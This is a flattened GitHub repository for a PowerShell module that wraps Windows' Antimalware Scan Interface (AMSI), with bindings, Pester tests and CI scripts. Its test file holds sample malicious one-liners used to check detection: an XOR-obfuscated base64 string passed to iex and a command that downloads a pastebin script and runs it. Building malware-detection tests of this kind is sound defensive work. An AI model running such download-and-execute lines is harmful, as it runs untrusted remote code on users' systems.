├── .gitignore ├── AMSI.psm1 ├── AMSI.pssproj ├── AMSI.sln ├── AMSI.tests.ps1 ├── CreateModuleManifest.ps1 ├── InvokeTests.ps1 ├── NativeMethods.cs ├── PublishModule.ps1 ├── README.md └── appveyor.yml /.gitignore: -------------------------------------------------------------------------------- 1 | AMSI.psd1 2 | /.vs/AMSI/v14/.suo 3 | -------------------------------------------------------------------------------- /AMSI.psm1: -------------------------------------------------------------------------------- 1 | $Script:AmsiContext = [IntPtr]::Zero 2 | 3 | $NativeMethodCode = Join-Path $PSScriptRoot 'NativeMethods.cs' 4 | Add-Type (Get-Content $NativeMethodCode -Raw) 5 | 6 | function Initialize-Amsi { 7 | <# 8 | .SYNOPSIS 9 | Initializes the Antimalware Scan Interface API for this process. 10 | .PARAMETER appName 11 | The name, version, or GUID string of the app calling the AMSI API. 12 | #> 13 | param( 14 | [Parameter(Mandatory)] 15 | [string] 16 | $appName 17 | ) 18 | 19 | $ret = [Amsi.NativeMethods]::AmsiInitialize($appName, [ref]$Script:AmsiContext) 20 | if ($ret -ne 0) 21 | { 22 | throw (New-Object System.ComponentModel.Win32Exception -ArgumentList $ret) 23 | } 24 | } 25 | 26 | function Unitialize-Amsi { 27 | <# 28 | .SYNOPSIS 29 | Remove the instance of the AMSI API that was originally opened by Initialize-Amsi. 30 | #> 31 | [Amsi.NativeMethods]::AmsiUninitialize($Script:AmsiContext) 32 | $Script:AmsiContext = [IntPtr]::Zero 33 | } 34 | 35 | function New-AmsiSession { 36 | <# 37 | .SYNOPSIS 38 | Opens a session within which multiple scan requests can be correlated. 39 | #> 40 | $Session = [IntPtr]::Zero 41 | $ret = [Amsi.NativeMethods]::AmsiOpenSession($Script:AmsiContext, [ref]$Session) 42 | if ($ret -ne 0) 43 | { 44 | throw (New-Object System.ComponentModel.Win32Exception -ArgumentList $ret) 45 | } 46 | else 47 | { 48 | $Session 49 | } 50 | } 51 | 52 | function Remove-AmsiSession { 53 | <# 54 | .SYNOPSIS 55 | Close a session that was opened by New-AmsiSession. 56 | #> 57 | param( 58 | [Parameter(Mandatory)]$Session 59 | ) 60 | 61 | [Amsi.NativeMethods]::AmsiCloseSession($Script:AmsiContext, $Session) 62 | } 63 | 64 | function Test-AmsiString { 65 | <# 66 | .SYNOPSIS 67 | Scans a string for malware. 68 | .PARAMETER string 69 | The string to scan for malware. 70 | .PARAMETER contentName 71 | The filename, URL, unique script ID, or similar of the content being scanned. 72 | .PARAMETER session 73 | If multiple scan requests are to be correlated within a session, set session to the value returned by New-AmsiSession. 74 | #> 75 | param( 76 | [Parameter(Mandatory)] 77 | [string]$string, 78 | [Parameter()] 79 | [string]$contentName = 'PowerShell', 80 | [Parameter()] 81 | [IntPtr]$session = [IntPtr]::Zero 82 | ) 83 | 84 | $internallyInitialized = $false 85 | if ($Script:AmsiContext -eq [IntPtr]::Zero) 86 | { 87 | Initialize-Amsi -appName "PowerShell:$PID" 88 | 89 | $ASession = New-AmsiSession 90 | $Session = $ASession 91 | $internallyInitialized = $true 92 | } 93 | 94 | [AMSI.AMSI_RESULT]$Result = 0 95 | $ret = [Amsi.NativeMethods]::AmsiScanString($Script:AmsiContext, $string, $contentName, $session, [ref]$Result) 96 | if($ret -ne 0) 97 | { 98 | throw (New-Object System.ComponentModel.Win32Exception -ArgumentList $ret) 99 | } 100 | 101 | #Any return result equal to or larger than 32768 is considered malware, and the content should be blocked. 102 | if ($Result -ge 32768) 103 | { 104 | $true 105 | } 106 | else 107 | { 108 | $false 109 | } 110 | 111 | if ($internallyInitialized) 112 | { 113 | Remove-AmsiSession -Session $Session 114 | Unitialize-Amsi 115 | } 116 | } 117 | 118 | -------------------------------------------------------------------------------- /AMSI.pssproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | 2.0 6 | 6CAFC0C6-A428-4d30-A9F9-700E829FEA51 7 | Exe 8 | MyApplication 9 | MyApplication 10 | AMSI 11 | 12 | 13 | true 14 | full 15 | false 16 | bin\Debug\ 17 | DEBUG;TRACE 18 | prompt 19 | 4 20 | 21 | 22 | pdbonly 23 | true 24 | bin\Release\ 25 | TRACE 26 | prompt 27 | 4 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /AMSI.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{F5034706-568F-408A-B7B3-4D38C6DB8A32}") = "AMSI", "AMSI.pssproj", "{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /AMSI.tests.ps1: -------------------------------------------------------------------------------- 1 | if ($ENV:AppVEYOR -eq 'true') 2 | { 3 | Write-Warning "Unable to run these tests on AppVeyor since these tests require Windows 10 or Windows Server 2016." 4 | return 5 | } 6 | 7 | $ENV:APPVEYOR_BUILD_VERSION = '99.99' 8 | . (Join-Path $PSScriptRoot 'CreateModuleManifest.ps1') 9 | $ModulePath = Join-Path $PSScriptRoot 'AMSI.psd1' 10 | Import-Module $ModulePath -Force 11 | 12 | Describe "Test-AmsiString" { 13 | Context "Script contains no malware" { 14 | It "Should return false" { 15 | Test-AmsiString 'Get-Process' | Should be $false 16 | } 17 | } 18 | 19 | Context "Script contains malware" { 20 | It "Should return true" { 21 | $BadScript = '$base64 = "FHJ+YHoTZ1ZARxNgUl5DX1YJEwRWBAFQAFBWHgsFAlEeBwAACh4LBAcDHgNSUAIHCwdQAgALBRQ=" 22 | $bytes = [Convert]::FromBase64String($base64) 23 | $string = -join ($bytes | % { [char] ($_ -bxor 0x33) }) 24 | iex $string' 25 | 26 | $BadScript = 'invoke-expression (invoke-webrequest http://pastebin.com/raw.php?i=JHhnFV8m)' 27 | 28 | Test-AmsiString $BadScript | Should be $true 29 | 30 | 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /CreateModuleManifest.ps1: -------------------------------------------------------------------------------- 1 | $FunctionsToExport = @( 2 | 'Initialize-Amsi', 3 | 'Uninitialize-Amsi', 4 | 'New-AmsiSession', 5 | 'Remove-AmsiSession', 6 | 'Test-AmsiString') 7 | 8 | $NewModuleManifestParams = @{ 9 | ModuleVersion = $ENV:APPVEYOR_BUILD_VERSION 10 | Path = (Join-Path $PSScriptRoot '.\AMSI.psd1') 11 | Author = 'Adam Driscoll' 12 | Company = 'Adam Driscoll' 13 | Description = 'PowerShell wrapper for the Antimalware Scan Interface' 14 | RootModule = 'AMSI.psm1' 15 | FunctionsToExport = $FunctionsToExport 16 | ProjectUri = 'https://github.com/adamdriscoll/amsi' 17 | Tags = @('AMSI', 'AntimalwareScanInterface') 18 | } 19 | 20 | New-ModuleManifest @NewModuleManifestParams -------------------------------------------------------------------------------- /InvokeTests.ps1: -------------------------------------------------------------------------------- 1 | if ($PSVersionTable.PSVersion.Major -ge 5) 2 | { 3 | Write-Verbose -Verbose "Installing PSScriptAnalyzer" 4 | $PSScriptAnalyzerModuleName = "PSScriptAnalyzer" 5 | Install-PackageProvider -Name NuGet -Force 6 | Install-Module -Name $PSScriptAnalyzerModuleName -Scope CurrentUser -Force 7 | $PSScriptAnalyzerModule = get-module -Name $PSScriptAnalyzerModuleName -ListAvailable 8 | if ($PSScriptAnalyzerModule) { 9 | # Import the module if it is available 10 | $PSScriptAnalyzerModule | Import-Module -Force 11 | } 12 | else 13 | { 14 | # Module could not/would not be installed - so warn user that tests will fail. 15 | Write-Warning -Message ( @( 16 | "The 'PSScriptAnalyzer' module is not installed. " 17 | "The 'PowerShell modules scriptanalyzer' Pester test will fail " 18 | ) -Join '' ) 19 | } 20 | } 21 | else 22 | { 23 | Write-Verbose -Verbose "Skipping installation of PSScriptAnalyzer since it requires PSVersion 5.0 or greater. Used PSVersion: $($PSVersion)" 24 | } 25 | 26 | $res = Invoke-Pester -Path ".\" -OutputFormat NUnitXml -OutputFile TestsResults.xml -PassThru 27 | (New-Object "System.Net.WebClient").UploadFile("https://ci.appveyor.com/api/testresults/nunit/$($env:APPVEYOR_JOB_ID)", (Resolve-Path .\TestsResults.xml)) 28 | if ($res.FailedCount -gt 0) { 29 | throw "$($res.FailedCount) unit tests failed." 30 | } -------------------------------------------------------------------------------- /NativeMethods.cs: -------------------------------------------------------------------------------- 1 | using System.Runtime.InteropServices; 2 | using System; 3 | 4 | namespace AMSI 5 | { 6 | public enum AMSI_RESULT 7 | { 8 | AMSI_RESULT_CLEAN = 0, 9 | AMSI_RESULT_NOT_DETECTED = 1, 10 | AMSI_RESULT_DETECTED = 32768 11 | } 12 | 13 | public static class NativeMethods 14 | { 15 | [DllImport("Amsi.dll", EntryPoint = "AmsiInitialize", CallingConvention = CallingConvention.StdCall)] 16 | public static extern int AmsiInitialize([MarshalAs(UnmanagedType.LPWStr)]string appName, out IntPtr amsiContext); 17 | 18 | [DllImport("Amsi.dll", EntryPoint = "AmsiUninitialize", CallingConvention = CallingConvention.StdCall)] 19 | public static extern void AmsiUninitialize(IntPtr amsiContext); 20 | 21 | [DllImport("Amsi.dll", EntryPoint = "AmsiOpenSession", CallingConvention = CallingConvention.StdCall)] 22 | public static extern int AmsiOpenSession(IntPtr amsiContext, out IntPtr session); 23 | 24 | [DllImport("Amsi.dll", EntryPoint = "AmsiCloseSession", CallingConvention = CallingConvention.StdCall)] 25 | public static extern void AmsiCloseSession(IntPtr amsiContext, IntPtr session); 26 | 27 | [DllImport("Amsi.dll", EntryPoint = "AmsiScanString", CallingConvention = CallingConvention.StdCall)] 28 | public static extern int AmsiScanString(IntPtr amsiContext, [InAttribute()] [MarshalAsAttribute(UnmanagedType.LPWStr)]string @string, [InAttribute()] [MarshalAsAttribute(UnmanagedType.LPWStr)]string contentName, IntPtr session, out AMSI_RESULT result); 29 | [DllImport("Amsi.dll", EntryPoint = "AmsiScanBuffer", CallingConvention = CallingConvention.StdCall)] 30 | public static extern int AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, ulong length, string contentName, IntPtr session, out AMSI_RESULT result); 31 | 32 | //This method apparently exists on MSDN but not in AMSI.dll (version 4.9.10586.0) 33 | [DllImport("Amsi.dll", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.StdCall)] 34 | public static extern bool AmsiResultIsMalware(AMSI_RESULT result); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /PublishModule.ps1: -------------------------------------------------------------------------------- 1 | if ($env:APPVEYOR_REPO_BRANCH -eq 'master'-and $env:APPVEYOR_PULL_REQUEST_NUMBER -eq $null) 2 | { 3 | choco install NuGet.CommandLine 4 | Install-PackageProvider -Name NuGet -Force 5 | Publish-Module -NuGetApiKey $env:ApiKey -Path C:\AMSI -Confirm:$False -Verbose 6 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | PowerShell Module for the Antimalware Scan Interface (AMSI) 2 | 3 | [![Build status](https://ci.appveyor.com/api/projects/status/65x6kuu4vsbt6xri?svg=true)](https://ci.appveyor.com/project/adamdriscoll/amsi) 4 | 5 | `PS> Install-Module -Name AMSI` 6 | 7 | https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx 8 | 9 | -------------------------------------------------------------------------------- /appveyor.yml: -------------------------------------------------------------------------------- 1 | clone_folder: C:\AMSI 2 | 3 | image: WMF 5 4 | 5 | install: 6 | - cinst pester 7 | 8 | version: 1.0.{build} 9 | 10 | build_script: 11 | - ps: .\CreateModuleManifest.ps1 12 | 13 | test_script: 14 | - ps: .\InvokeTests.ps1 15 | 16 | deploy_script: 17 | - ps: .\PublishModule.ps1 18 | 19 | environment: 20 | ApiKey: 21 | secure: jv+jb1IJtjQxAxQigSve12KwVeuu7evZk7Ot5PKapLebDyl2LHsQGcqZFQ8VeDxV --------------------------------------------------------------------------------